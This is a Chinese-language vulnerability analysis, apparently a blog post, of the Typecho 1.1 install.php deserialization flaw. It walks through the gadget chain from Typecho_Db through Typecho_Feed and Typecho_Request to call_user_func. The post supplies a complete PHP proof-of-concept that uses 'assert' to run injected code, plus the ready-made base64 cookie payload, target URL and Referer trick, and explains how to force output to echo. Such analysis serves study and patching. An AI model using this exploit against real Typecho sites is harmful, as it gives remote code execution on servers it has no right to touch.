漏洞概况

typecho 1.1版本存在一个反序列化漏洞,允许用户执行一些恶意命令。

复现环境

  • typecho-1.1-15.5.12-beta
  • PHP 5.6.40 这里并不知为何在php7的版本里面没有成功复现
  • Ubuntu 18.04 + MySQL 5.7 + Apache2

漏洞分析

在分许反序列化相关的漏洞之前,先看一下触发漏洞需要满足的其他条件,在install.php的第58行-77行,存在一个对站点是否安装和ssrf潜在可能的判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

这里需要满足的条件为:

  1. _GET['finish']不为空;
  2. referer需要为本站。

漏洞的入口在install.php中:

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

首先是利用Typecho_Cookie::get()方法获取用户请求的参数__typecho_config,跟进去看一下:

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

我们可以用Cookie传入,也可以用POST请求传入。传入的参数被赋值给$config变量,该变量是一个数组,取出其中的$config['adapter']$config['prefix']用来实例化类Typecho_Db,那么会触发该类的__construct方法,继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

__construct()方法中有一个字符串拼接的操作$adapterName = 'Typecho_Db_Adapter_' . $adapterName;,如果$adapterName是一个类的话,就会触发该类的__toString()方法。因为__toString方法就是在一个类被当作字符串处理时会触发。所以接下来要去找可以利用的__toString(),能找到三处定义,分别在Config.phpFeed.phpQueery.php文件中:

1

分析一下它们的可用性,先是Config.php文件中的Typecho_Config类中的__toString()

1
2
3
4
5
6
7
8
9
<?php
class Typecho_Config implements Iterator
{
private $_currentConfig = array();
public function __toString()
{
return serialize($this->_currentConfig);
}
}

这里显然没什么可继续利用的点,然后是Query.php中的__toString()方法,是一些query操作语句,同样很难利用。最后是Feed.php中类Typecho_Feed__toString()

2

可以看到,在第290行会将$item['author']->screenName拼接到$content中,因为$item是来自这里foreach循环的$this->_items,而这是类Typecho_Feed的私有属性,是可控的,所以可以找一个类,该类中应该要有可以利用的__get()方法。道理这里为止,已经可以确定,前面分析中的$adapterName需要是Typecho_Feed的一个实例。

然后要找可以利用的__get()方法,全局搜索,在Request.php的类Typecho_Request中发现了可以利用的__get(),所以$itemTypecho_Request的一个实例化对象:

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

又调用了该类的get()方法,所以继续跟入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

这个函数主要做的事情是给$value变量赋值,然后将该值传给_applyFilter()方法,而且$this->_params是用户可控的,也就是说,传入_applyFilter()的参数值是可控的。接着继续跟进$this->_applyFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

发现了call_user_func,这里的两个参数$filter$value,已经知道的是,$value值在$this->_params[$key]不为空的情况下,$value的值与之相等,是用户可控的。而$filter来自$this->_filter,也是用户可控的。所以到这里,整个调用链就摸清楚了。

可以总结为以下流程:

  1. 入口在install.php第232行,实例化了一个Typecho_Db对象,$db = new Typecho_Db($config['adapter'], $config['prefix']);
  2. 触发了该类的__construct()方法,该方法中存在变量$adapterName和字符串拼接的操作,令该变量为Typecho_Feed类的实例化对象,将对象当作字符串处理会触发该类的__toString()方法;
  3. __toString()方法中存在$item['author']->screenName$item['author']为用户可控,所以可以寻找一个类,该类中存在__get()方法;
  4. 该类为Typecho_Request,该类的__get()方法调用get()方法,get()最后会调用_applyFilter(),该方法会调用call_user_func执行回调函数。

PoC编写

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class Typecho_Feed
{
const RSS2 = 'RSS 2.0';

private $_type;
private $_items;

public function __construct()
{
$this->_type = $this::RSS2;
$this->_items = array(
'0' => array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
)
);
}
}

class Typecho_Request
{
private $_params;
private $_filter;

public function __construct()
{
$this->_params = array(
'screenName' => 'phpinfo();'
);

$this->_filter = array(
'0' => 'assert'
);
}
}


$exp = array (
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

请求url:http://127.0.0.1/typecho-1.1-15.5.12-beta/install.php?finish=1

post data或是cookie:

1
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjEwOiJwaHBpbmZvKCk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

referer:http://127.0.0.1/typecho-1.1-15.5.12-beta/

攻击效果:

4

整个调用过程可以这样表示:

6

其他注意点

踩坑,一开始我写的exp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class Typecho_Feed
{
private $_type;
private $_items = array();

public function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items = array(
'0' => array(
'author' => new Typecho_Request()
)
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct()
{
$this->_params = array(
'screenName' => 'phpinfo();'
);

$this->_filter = array(
'0' => 'assert'
);
}
}


$exp = array (
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

和上面的差别就是在$this->_items[0]这里没有对category进行一个赋值。所以我跟踪调试了下想看看到底发生了什么,但是一路跟到最后的调用点Typecho_Request::_applyFilter()方法,都是正常执行了命令。

3

继续跟下去,_applyFilter()函数正常执行结束之后,程序返回Typecho_Feed::__toString(),继续执行之后,程序返回Typecho_Db::__construct()函数的122行继续执行,不过会抛出一个异常:

7

继续跟进,在var/Typecho/Common.php中的exceptionalHandle()中会处理这个异常:

8

这里调用了ob_end_clean()来清楚缓冲区中的字符串,这个函数基本是和ob_start()成套使用的:

11

install.php第54行可以看到调用了ob_start()函数将执行流程的输出存储到缓冲区中:

10

但是在中途报错,调用了ob_end_clean()清除了缓冲区,所以不会有任何的东西回显。因此这里就需要让程序在ob_end_clean()之前异常退出。这里的做法就是添加一个不合法的category

9

最后一个需要注意的就是需要令

1
$this->_type = 'RSS 2.0';

这是需要进入$item['author']->screenName所在的if条件分支。

12